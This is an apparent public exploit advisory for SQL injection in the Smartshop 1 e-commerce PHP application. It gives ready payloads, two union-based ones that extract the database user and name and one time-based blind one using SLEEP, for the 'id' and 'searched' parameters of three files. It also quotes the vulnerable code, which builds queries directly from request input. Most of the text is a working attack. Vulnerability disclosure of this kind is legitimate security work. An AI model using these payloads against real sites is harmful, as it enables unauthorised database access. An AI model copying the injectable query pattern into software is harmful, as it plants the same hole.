Smartshop 1 - 'id' SQL Injection

# Exploit Title: Smartshop 1 - SQL Injection
# Date: 2018-06-02
# Exploit Author: L0RD or borna.nematzadeh123@gmail.com
# Software Link: https://github.com/smakosh/Smartshop/archive/master.zip
# Vendor Homepage: https://www.behance.net/gallery/49080415/Smartshop-Free-e-commerce-website
# Version: 1
# Tested on: Kali linux
=================================================
# Description :
Smartshop 1 suffers from sql injection which attacker can inject sql
commands .
=================================================
# POC : SQLi

# vulnerable files : [ category.php  , product.php , search.php ]

1) category.php :
# Parameter : id
# Type : Union based
# Payload : ' UNION SELECT 1,user(),3,4,5%23

# Vulnerable code :

$id_category =$_GET['id'];
$start = ($page > 1) ? ($page * $perpage) - $perpage : 0;
$queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,
thumbnail FROM product WHERE id_category = '{$id_category}' ORDER BY id
DESC LIMIT {$start}, 16";
$result = $connection->query($queryproduct);

=================================================

2) product.php :
# Parameter : id
# Type : Union based
# Payload : ' UNION SELECT 1,user(),database(),4,5,6%23

# Vulnerable code :

$id_product =$_GET['id'];
$queryproduct = "SELECT id, name, price, description, id_picture, thumbnail
 FROM product WHERE id = '{$id_product}'";
$result1 = $connection->query($queryproduct);

=================================================

3) search.php :
# Parameter : searched
# Type : Time-based blind
# Payload : ' AND SLEEP(10)%23

# Vulnerable code :

$word = $_GET['searched'];
$queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,
thumbnail FROM product WHERE name LIKE '%{$word}%' ORDER BY id DESC LIMIT
{$start}, 16";
$result = $connection->query($queryproduct);

=================================================